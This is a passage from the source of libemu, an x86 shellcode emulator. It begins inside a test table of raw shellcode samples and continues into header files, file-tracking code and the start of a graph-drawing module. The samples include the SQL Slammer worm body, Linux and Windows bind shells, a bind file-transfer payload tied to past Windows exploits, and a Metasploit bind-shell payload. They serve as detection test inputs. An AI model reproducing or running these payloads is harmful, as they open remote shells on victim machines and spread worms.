"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\xe0\x07\x00\x00\x04\x00\x00\x00" "\x00\x00\x00\x00", .codesize = 2948, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "sqlslammer", .code = "\x90\x90\x90\x90\x90\x90\x90\x90\x68\xdc\xc9" "\xb0\x42\xb8\x01\x01\x01\x01\x31\xc9\xb1\x18\x50\xe2\xfd\x35\x01" "\x01\x01\x05\x50\x89\xe5\x51\x68\x2e\x64\x6c\x6c\x68\x65\x6c\x33" "\x32\x68\x6b\x65\x72\x6e\x51\x68\x6f\x75\x6e\x74\x68\x69\x63\x6b" "\x43\x68\x47\x65\x74\x54\x66\xb9\x6c\x6c\x51\x68\x33\x32\x2e\x64" "\x68\x77\x73\x32\x5f\x66\xb9\x65\x74\x51\x68\x73\x6f\x63\x6b\x66" "\xb9\x74\x6f\x51\x68\x73\x65\x6e\x64\xbe\x18\x10\xae\x42\x8d\x45" "\xd4\x50\xff\x16\x50\x8d\x45\xe0\x50\x8d\x45\xf0\x50\xff\x16\x50" "\xbe\x10\x10\xae\x42\x8b\x1e\x8b\x03\x3d\x55\x8b\xec\x51\x74\x05" "\xbe\x1c\x10\xae\x42\xff\x16\xff\xd0\x31\xc9\x51\x51\x50\x81\xf1" "\x03\x01\x04\x9b\x81\xf1\x01\x01\x01\x01\x51\x8d\x45\xcc\x50\x8b" "\x45\xc0\x50\xff\x16\x6a\x11\x6a\x02\x6a\x02\xff\xd0\x50\x8d\x45" "\xc4\x50\x8b\x45\xc0\x50\xff\x16\x89\xc6\x09\xdb\x81\xf3\x3c\x61" "\xd9\xff\x8b\x45\xb4\x8d\x0c\x40\x8d\x14\x88\xc1\xe2\x04\x01\xc2" "\xc1\xe2\x08\x29\xc2\x8d\x04\x90\x01\xd8\x89\x45\xb4\x6a\x10\x8d" "\x45\xb0\x50\x31\xc9\x51\x66\x81\xf1\x78\x01\x51\x8d\x45\x03\x50" "\x8b\x45\xac\x50\xff\xd6\xeb\xca", .codesize = 259, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "linux bindshell", .code = "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" "\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0" "\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50" "\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49" "\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69" "\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80", .codesize = 92, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "Windows bindshell 0.0.0.0:8594 - tried exploit PNP_QueryResConfList/MS05-39", .code = "\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00\x4d\x00\x5c\x00\x30"//|.S.Y.S.T.E.M.\.0| "\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00\xff\xff\x00\x00\xe0"//|.0.0.0..........| "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x07\x00\x00\x00"//|................| "\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x08\x90\x90\x67"//|...............g| "\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76\xeb\x08\x90\x90\x67"//|.zv....g.zv....g| "\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76\xeb\x08\x90\x90\x67"//|.zv....g.zv....g| "\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76\xeb\x08\x90\x90\x67"//|.zv....g.zv....g| "\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76\xeb\x08\x90\x90\x67"//|.zv....g.zv....g| "\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76\x90\x90\x90\x90\x90"//|.zv....g.zv.....| "\x90\x90\xeb\x08\x90\x90\x48\x4f\x44\x88\x90\x90\x90\x90\x90\x90"//|......HOD.......| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x29\xc9\x83\xe9\xb0"//|...........)....| "\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19\xf5\x04\x37\x83\xeb"//|...t$.[.s....7..| "\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8\xe6\x95\x8f\x5b\x3d"//|......z.......[=| "\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc\x56\xed\x8f\x68\x39"//|..r%~x2a...V..h9| "\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae\xb5\x71\xc4\x43\x1e"//|..~...6.....q.C.| "\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f\x6c\x10\x8f\x68\x3d"//|4.:.7..".\x.l..h=| "\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc\x1a\xd9\x8f\xbe\x75"//|..Q..O.F.......u| "\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc\x59\xf9\x8f\x47\x05"//|..V...S..4.Y..G.| "\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67\xe6\x23\x62\x64\x7f"//|X.w..l.W..g.#bd.| "\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7\x71\x3e\xe9\xcb\x22"//|.7.q.w.F...q>.."| "\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35\x4c\x9f\x06\xc8\xc9"//|...F|.Q...5L....| "\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64\x4a\xa6\x47\x64\x5a"//|..>.XS...WdJ.GdZ| "\xa6\xfb\xe7\x7f\x9d\x25\xa5\x7f\xa6\x8d\xd6\x8c\x9d\xa0\x2d\x69"//|.....%........-i| "\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f\xbd\x58\x2a\xde\x4e"//|2S....fL.._.X*.N| "\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e\x4e\x0a\xd2\x67\x4d"//|..dL.._...~N..gM| "\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60\xe6\x23\x51\xc8\xc9"//|.Q..fl.`3}`.#Q..| "\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67\x40\xdc\xc8\xbe\xfe"//|.nS..gZ..ng@....| "\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a\xe7\xb7\x28\xa4\x94"//|.@.......F...(..| "\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8\x6c\xb1\xfb\xe1\x42"//|.<..^lE.F..l...B| "\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66\xe6\x25\x6c\x9a\xc0"//|.VfH.n6H.Qf.%l..| "\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7\x92\xa2\xf8\xb4\xdd"//|..d.#n..........| "\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57\x4a\x0a\xd2\xc8\xc9"//|...K.._.;.WJ....| "\xf5\x04\x37", //|..7| .codesize = 515, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "Windows bind filetransfer 0.0.0.0:38963 - tried to exploit DsRolerUpgradeDownlevelServer/MS04-11", .code = "\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65"//|eeeeeeeeeeeeeeee| "\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65"//|eeeeeeeeeeeeeeee| "\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65"//|eeeeeeeeeeeeeeee| "\x65\x65\x65\x65\x65\x65\xeb\x02\xeb\x6b\xe8\xf9\xff\xff\xff\x53"//|eeeeee...k.....S| "\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5"//|UVW.l$..E<.T.x..| "\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x32\x49\x8b\x34\x8b\x03\xf5"//|.J..Z\x...2I.4...| "\x33\xff\xfc\x33\xc0\xac\x3a\xc4\x74\x07\xc1\xcf\x0d\x03\xf8\xeb"//|3..3..:.t.......| "\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b"//|.;|$.u..Z$..f..K| "\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xeb\x02\x33\xc0\x5f\x5e"//|.Z..........3._^| "\x5d\x5b\x89\x44\x24\x04\x8b\x04\x24\x89\x44\x24\x08\x8b\x44\x24"//|][.D$...$.D$..D$| "\x04\x83\xc4\x08\xc3\x5e\x6a\x30\x59\x64\x8b\x19\x8b\x5b\x0c\x8b"//|.....^j0Yd...[..| "\x5b\x1c\x8b\x1b\x8b\x7b\x08\x83\xec\x1c\x8b\xec\x33\xc0\x50\x68"//|[....{......3.Ph| "\x2e\x65\x78\x65\x89\x65\x14\x57\x68\xea\x49\x8a\xe8\xff\xd6\x6a"//|.exe.e.Wh.I....j| "\x06\xff\x75\x14\xff\xd0\x89\x45\x04\x57\x68\xdb\x8a\x23\xe9\xff"//|..u....E.Wh..#..| "\xd6\x89\x45\x0c\x57\x68\x8e\x4e\x0e\xec\xff\xd6\x33\xc9\x66\xb9"//|..E.Wh.N....3.f.| "\x6c\x6c\x51\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0"//|llQh32.dhws2_T..| "\x8b\xd8\x53\x68\xb6\x19\x18\xe7\xff\xd6\x89\x45\x10\x53\x68\xe7"//|..Sh.......E.Sh.| "\x79\xc6\x79\xff\xd6\x89\x45\x18\x53\x68\x6e\x0b\x2f\x49\xff\xd6"//|y.y...E.Shn./I..| "\x6a\x06\x6a\x01\x6a\x02\xff\xd0\x89\x45\x08\x33\xc0\x50\x50\x50"//|j.j.j....E.3.PPP| "\xb8\x02\xff\x98\x33\x80\xf4\xff\x50\x8b\xc4\x6a\x10\x50\xff\x75"//|....3...P..j.P.u| "\x08\x53\x68\xa4\x1a\x70\xc7\xff\xd6\xff\xd0\x58\x53\x68\xa4\xad"//|.Sh..p.....XSh..| "\x2e\xe9\xff\xd6\x6a\x10\xff\x75\x08\xff\xd0\x33\xc0\x50\x50\xff"//|....j..u...3.PP.| "\x75\x08\x53\x68\xe5\x49\x86\x49\xff\xd6\xff\xd0\x8b\x4d\x08\x89"//|u.Sh.I.I.....M..| "\x45\x08\x51\xff\x55\x18\x81\xc4\xfc\xfe\xff\xff\x8b\xdc\x33\xc9"//|E.Q.U.........3.| "\x51\xb1\xff\x51\x53\xff\x75\x08\xff\x55\x10\x85\xc0\x7e\x0a\x50"//|Q..QS.u..U...~.P| "\x53\xff\x75\x04\xff\x55\x0c\xeb\xe5\xff\x75\x08\xff\x55\x18\x57"//|S.u..U....u..U.W| "\x68\x5b\x4c\x1a\xdd\xff\xd6\xff\x75\x04\xff\xd0\x33\xc0\x50\xff"//|h[L.....u...3.P.| "\x75\x14\x57\x68\x98\xfe\x8a\x0e\xff\xd6\xff\xd0\x57\x68\xef\xce"//|u.Wh........Wh..| "\xe0\x60\xff\xd6\xff\xd0\x65\x65\x65\x65", //|.`....eeee| .codesize = 458, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "libemu dos", .code = "\xe3\xfe\xe8", .codesize = 3, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com", .code = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7" "\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" "\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5" "\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75" "\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01" "\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e" "\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56" "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5", .codesize = 341, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "crash in loadlibrary", .code = "\x6A\xFE\xB8\x77\x1D\x80\x7C\xFF\xD0", .codesize = 9, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "crash in fwrite", .code = "\x6A\xFE\x6A\xFE\x6A\xFE\x6A\xFE\xB8\x3B\x17\xC1\x77\xFF\xD0", .codesize = 15, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "crash in lwrite/hwrite", .code = "\x6A\xFE\x6A\xFE\x6A\xFE\x6A\xFE\xB8\xE7\x8A\x83\x7C\xFF\xD0\x00\x00\x00", .codesize = 18, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "crash in malloc", .code = "\x6A\xFE\x6A\xFE\xB8\x07\xC4\xBF\x77\xFF\xD0\x00\x00\x00\x00\x00\x00\x00\x00", .codesize = 19, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "crash in send", .code = "\x6A\xFE\x6A\xFE\xB8\x8A\x42\xA1\x71\xFF\xD0\x00\x00\x00", .codesize = 14, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "crash in execve", .code = "\xB8\xFF\xFF\xFF\xFF\xBB\xFF\xFF\xFF\xFF\xB9\xFF\xFF\xFF\xFF\x6A\xFF\x6A\xFF\x6A\xFF\x6A\xFF\x6A\xFF\x6A\xFF\x6A\xFF\x6A\xFF\x6A\xFF\x6A\xFF\xB0\x0B\xCD\x80\xCC", .codesize = 40, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, /*{ .instr = "", .code = .codesize = 344, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, },*/ #endif // _NO_TESTS }; int numtests() { #ifndef _NO_TESTS return sizeof(tests)/sizeof(struct instr_test); #else return 0; #endif } libemu-0.2.0+git20120122+564/tools/sctest/tests.h0000644000175300017530000000062111706767213020022 0ustar dt-npbdt-npb#include struct instr_test { const char *instr; char *code; uint16_t codesize; struct { uint32_t reg[8]; uint32_t mem_state[2]; uint32_t eflags; } in_state; struct { uint32_t reg[8]; uint32_t mem_state[2]; uint32_t eflags; uint32_t eip; } out_state; }; #define FLAG(fl) (1 << (fl)) extern struct instr_test tests[]; int numtests(void); libemu-0.2.0+git20120122+564/tools/sctest/userhooks.h0000644000175300017530000000343211706767213020705 0ustar dt-npbdt-npb uint32_t user_hook_ExitProcess(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_ExitThread(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_CreateProcess(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_WaitForSingleObject(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_exit(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_accept(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_bind(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_closesocket(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_connect(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_fclose(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_fopen(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_fwrite(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_listen(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_recv(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_send(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_socket(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_WSASocket(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_CreateFile(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_WriteFile(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_CloseHandle(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_URLDownloadToFile(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t user_hook_IEWinMain(struct emu_env *env, struct emu_env_hook *hook, ...); libemu-0.2.0+git20120122+564/tools/sctest/nanny.c0000644000175300017530000000250311706767213017777 0ustar dt-npbdt-npb#include #include #include "nanny.h" #include "../../include/emu/emu_hashtable.h" struct nanny *nanny_new(void) { struct nanny *na = malloc(sizeof(struct nanny)); memset(na, 0, sizeof(struct nanny)); na->files = emu_hashtable_new(16, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp); return na; } struct nanny_file *nanny_add_file(struct nanny *na, const char *path, uint32_t *emu_file, FILE *real_file) { struct nanny_file *file = malloc(sizeof(struct nanny_file)); memset(file, 0, sizeof(struct nanny_file)); *emu_file = rand(); file->path = strdup(path); file->emu_file = *emu_file; file->real_file = real_file; emu_hashtable_insert(na->files, (void *)(uintptr_t)file->emu_file, file); return file; } struct nanny_file *nanny_get_file(struct nanny *na, uint32_t emu_file) { struct emu_hashtable_item *item = emu_hashtable_search(na->files, (void *)(uintptr_t)emu_file); if (item != NULL) { struct nanny_file *file = item->value; return file; }else return NULL; } bool nanny_del_file(struct nanny *na, uint32_t emu_file) { struct emu_hashtable_item *item = emu_hashtable_search(na->files, (void *)(uintptr_t)emu_file); if (item != NULL) { free(item->value); } return emu_hashtable_delete(na->files, (void *)(uintptr_t)emu_file); } void nanny_free(struct nanny *nanny) { } libemu-0.2.0+git20120122+564/tools/sctest/dot.c0000644000175300017530000002133711706767213017450 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "../config.h" #define HAVE_GETOPT_H #ifdef HAVE_GETOPT_H # include #endif #ifdef HAVE_STDLIB_H # include #endif #include #define HAVE_UNISTD #ifdef HAVE_UNISTD # include #endif #include #include #include "emu/emu.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_log.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/environment/emu_profile.h" #include "emu/environment/emu_env.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_kernel32_hooks.h" #include "emu/environment/linux/emu_env_linux.h" #include "emu/emu_getpc.h" #include "emu/emu_graph.h" #include "emu/emu_string.h" #include "emu/emu_hashtable.h" #include "emu/emu_shellcode.h" #include "dot.h" #include "options.h" struct instr_vertex *instr_vertex_new(uint32_t theeip, const char *instr_string) { struct instr_vertex *iv = (struct instr_vertex *)malloc(sizeof(struct instr_vertex)); memset(iv, 0, sizeof(struct instr_vertex)); iv->eip = theeip; iv->instr_string = emu_string_new(); emu_string_append_format(iv->instr_string, "0x%08x %s\\l",iv->eip, instr_string); return iv; } void instr_vertex_free(struct instr_vertex *iv) { emu_string_free(iv->instr_string); free(iv); } struct instr_vertex *instr_vertex_copy(struct instr_vertex *from) { struct instr_vertex *iv = (struct instr_vertex *)malloc(sizeof(struct instr_vertex)); memset(iv, 0, sizeof(struct instr_vertex)); iv->eip = from->eip; iv->instr_string = emu_string_new(); iv->dll = from->dll; iv->syscall = from->syscall; emu_string_append_char(iv->instr_string, from->instr_string->data); return iv; } void instr_vertex_destructor(void *data) { instr_vertex_free((struct instr_vertex *)data); } int graph_draw(struct emu_graph *graph) { struct emu_vertex *ev; struct instr_vertex *iv; FILE *f = fopen(opts.graphfile,"w+"); struct emu_graph *sgraph = emu_graph_new(); struct emu_hashtable *ht = emu_hashtable_new(2047, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp); struct emu_vertex *nev; struct instr_vertex *niv=NULL; printf("copying vertexes\n"); for ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) ) { iv = (struct instr_vertex *)ev->data; nev = emu_vertex_new(); 